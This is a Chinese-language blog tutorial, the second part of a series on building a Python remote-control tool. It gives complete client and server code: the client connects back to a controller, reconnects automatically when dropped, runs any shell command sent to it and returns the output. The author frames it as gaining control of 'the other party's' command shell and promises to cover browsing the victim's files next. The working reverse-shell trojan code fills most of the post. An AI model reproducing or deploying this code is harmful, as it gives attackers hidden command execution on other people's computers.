上一篇文章呢,详细的交大家如何去写远控的核心,没有看的小伙伴可以点击括号里面的内容传送过去看一看(python远控)
这一篇文章我们接着完成上一篇的代码,功能代码,就简单的写一个获取对方shell的代码(dos窗口的控制权限)
我们这边使用python打包好的subprocess这个模块,首先我们先来看一下这个模块的用法
import subprocess
shell=subprocess.Popen("ipconfig",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
shell.wait()
STDOUT,STDERR=shell.communicate()
print(STDOUT.decode('cp936'))
这边就说两个地方,关于这个模块的详情用法大家可以自行百度,接重点大家看括号里面的第一个参数ipconfig,相信熟悉dos窗口的小伙伴应该就恍然大悟了吧,没错这就是一条指令查看我们电脑ip的,后面那个shell=True执行该命令,为false不执行,这边我就不在给大家截图了,感兴趣的小伙伴可以自己自行的去运行一下。
这个时候大家想一下我们上一片文章不是写了一个传输指令的代码,想要远程执行命令,我们是不是之需要把这个代码里面的ipconfig替换成我们远程发送过来的,然后再将执行后得到的结果传输回去,思路有了,那我们继续完善我们的代码。
#客户端
import socket
import os
import time
import subprocess
def link():#连接函数
try:
s=socket.socket()
s.connect(('127.0.0.1',9999))
tcpclie(s)
except:
print('断线,5秒后重新连接')
time.sleep(5)
link()
def tcpclie(s):#接收信息
while True:
try:
data=s.recv(1024).decode('utf-8')
if data.split('_')[0]=='cmd':#cmd命令,
shell = subprocess.Popen(data.split('_')[1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
shell.wait()
STDOUT, STDERR = shell.communicate()
s.send(STDOUT.decode('cp936').encode('utf-8'))
elif data.split('_')[0]=='cd':
cdmuli = data.split('_')[1]
try:
os.chdir(cdmuli)
s.send(os.getcwd().encode('utf-8'))
except:
s.send('切换失败'.encode('utf-8'))
else:
s.send('未知指令'.encode('utf-8'))
except:
s.close()
link()
if __name__=='__main__':
link()
服务端稍有改动
# 服务端
from socket import *
import threading
import time
s = socket(AF_INET, SOCK_STREAM)
s.bind(('127.0.0.1', 9999))
s.listen(10)
data_list = [] # 存放机器
def run():
while True:
clientsock, clientaddress = s.accept()
print(clientsock)
if clientsock not in data_list: # 判断连接的机器是否在列表里面
data_list.append(clientsock) # 不在的话写入
threading.Thread(target=tcplink, args=(clientsock,)).start() # 开启一个线程
def tcplink(sock): # 接收客户端发送的消息
while True:
try:
recvdata = sock.recv(1024).decode('utf-8')
print(recvdata)
except:
break
def post(): # 指令
global da_data
while True:
try:
time.sleep(1)
in_data = input('请输入>>>')
da_data = int(in_data.split('_')[2]) # 指定对应的机器第一个为0,语法为:指令_内容_机器编号,列如cmd_dir_0表示查看第一台机器的当前目录
s = data_list[da_data]
s.sendall(in_data.encode('utf-8'))
except:
print('该客户端已下线')
data_list.pop(da_data)
print('以移除该客户端')
if __name__ == '__main__':
threading.Thread(target=run, args=()).start()
threading.Thread(target=post,args = ()).start()
在客户端的代码里面我添加了一个快速换盘的指令,下面来看一下运行效果
先看cmd的效果
成功获取客户端的目录,在看下cd快速换盘
好了,下篇文章来教大家如何获取对方(让我看看你的电脑有什么好看的),本期就到这里,关注点点,下次不迷路